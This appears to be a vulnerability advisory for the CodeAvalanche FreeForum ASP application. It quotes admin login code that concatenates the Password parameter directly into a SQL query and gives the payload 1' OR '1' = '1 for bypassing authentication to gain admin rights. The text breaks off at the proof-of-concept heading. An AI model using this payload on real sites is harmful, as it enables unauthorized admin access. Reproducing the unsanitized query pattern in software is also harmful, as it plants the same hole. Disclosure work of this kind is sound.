Description of product:
-----------------------
CodeAvalanche FreeForum is asp forum application which allows free posting,
there is no needs for registration of your
visitors. Administrator can add unlimited number of forum categories.
Vulnerability / Exploit:
------------------------
In the file default.asp in Admin directory is vulnerable to an Remote SQL
Injection Attack.
A malicious people can gain Admin rights by putting rights parameters in the
Password Variable.
Let's Check the source code:
<% Response.Buffer = True
userLogged=false
If Request("Password")<>"" Then
'response.Write(Request("Password"))
'response.flush
dim rsUser,selectSQL
selectSQL="SELECT * FROM PARAMS where PASSWORD='" & Request("Password") & "'"
[...]
[End default.asp]
As you can see the variable Password is not properly sanitized before be used,
so an attacker can put this string in the
password field:
1' OR '1' = '1
So, the query will be:
selectSQL="SELECT * FROM PARAMS where PASSWORD='1' OR '1' = '1'
And you can gain access to the application with admin rights.
PoC / Proof of Concept of SQL Injection:
----------------------------------------
This is a simple Proof Of Concept used on my local machine:
